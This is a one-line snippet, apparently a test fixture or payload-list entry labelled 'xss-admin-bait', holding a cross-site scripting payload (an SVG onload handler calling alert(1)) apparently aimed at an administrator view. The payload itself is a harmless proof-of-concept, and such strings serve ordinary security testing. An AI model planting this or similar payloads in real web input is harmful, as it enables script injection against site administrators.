xss-admin-bait <svg/onload=alert(1)>